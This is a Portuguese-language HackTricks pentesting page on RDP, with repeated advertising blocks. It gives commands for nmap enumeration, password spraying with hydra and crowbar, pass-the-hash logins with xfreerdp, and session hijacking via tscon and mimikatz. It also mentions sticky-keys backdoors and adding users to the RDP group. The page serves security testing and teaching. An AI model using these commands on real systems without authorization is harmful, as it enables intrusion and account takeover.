9.7 KiB
3389 - Pentesting RDP
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
{% embed url="https://pentest-tools.com/" %}
Informações Básicas
Desenvolvido pela Microsoft, o Protocolo de Área de Trabalho Remota (RDP) é projetado para permitir uma conexão de interface gráfica entre computadores em uma rede. Para estabelecer essa conexão, o software cliente RDP é utilizado pelo usuário e, simultaneamente, o computador remoto deve operar o software servidor RDP. Essa configuração permite o controle e acesso contínuo do ambiente de área de trabalho de um computador remoto, essencialmente trazendo sua interface para o dispositivo local do usuário.
Porta padrão: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeração
Automática
{% code overflow="wrap" %}
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
{% endcode %}
Verifica a criptografia disponível e a vulnerabilidade de DoS (sem causar DoS ao serviço) e obtém informações do Windows NTLM (versões).
Força bruta
Cuidado, você pode bloquear contas
Spraying de Senha
Cuidado, você pode bloquear contas
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Conectar com credenciais/hash conhecidos
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Verificar credenciais conhecidas contra serviços RDP
O rdp_check.py do Impacket permite que você verifique se algumas credenciais são válidas para um serviço RDP:
rdp_check <domain>/<name>:<password>@<IP>
Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconhecimento até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
{% embed url="https://pentest-tools.com/" %}
Ataques
Roubo de sessão
Com permissões do SISTEMA, você pode acessar qualquer sessão RDP aberta por qualquer usuário sem precisar saber a senha do proprietário.
Obter sessões abertas:
query user
Acesso à sessão selecionada
tscon <ID> /dest:<SESSIONNAME>
Agora você estará dentro da sessão RDP selecionada e terá que se passar por um usuário usando apenas ferramentas e recursos do Windows.
Importante: Quando você acessa uma sessão RDP ativa, você encerrará a sessão do usuário que a estava utilizando.
Você poderia obter senhas do processo fazendo dump delas, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
Mimikatz
Você também pode usar o mimikatz para fazer isso:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Combinando esta técnica com stickykeys ou utilman você será capaz de acessar um CMD administrativo e qualquer sessão RDP a qualquer momento
Você pode procurar RDPs que já foram comprometidos com uma dessas técnicas usando: https://github.com/linuz/Sticky-Keys-Slayer
Injeção de Processo RDP
Se alguém de um domínio diferente ou com privilégios superiores fizer login via RDP no PC onde você é um Administrador, você pode injetar seu beacon no processo da sessão RDP dele e agir como ele:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}
Adicionando Usuário ao Grupo RDP
net localgroup "Remote Desktop Users" UserLoginName /add
Ferramentas Automáticas
AutoRDPwn é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque Shadow em computadores com Windows da Microsoft. Essa vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto veja a área de trabalho de sua vítima sem seu consentimento, e até mesmo controle-a sob demanda, usando ferramentas nativas do próprio sistema operacional.
- EvilRDP
- Controlar o mouse e o teclado de forma automatizada a partir da linha de comando
- Controlar a área de transferência de forma automatizada a partir da linha de comando
- Iniciar um proxy SOCKS a partir do cliente que canaliza a comunicação de rede para o alvo via RDP
- Executar comandos SHELL e PowerShell arbitrários no alvo sem fazer upload de arquivos
- Fazer upload e download de arquivos para/do alvo mesmo quando as transferências de arquivos estão desativadas no alvo
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
{% embed url="https://pentest-tools.com/" %}
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.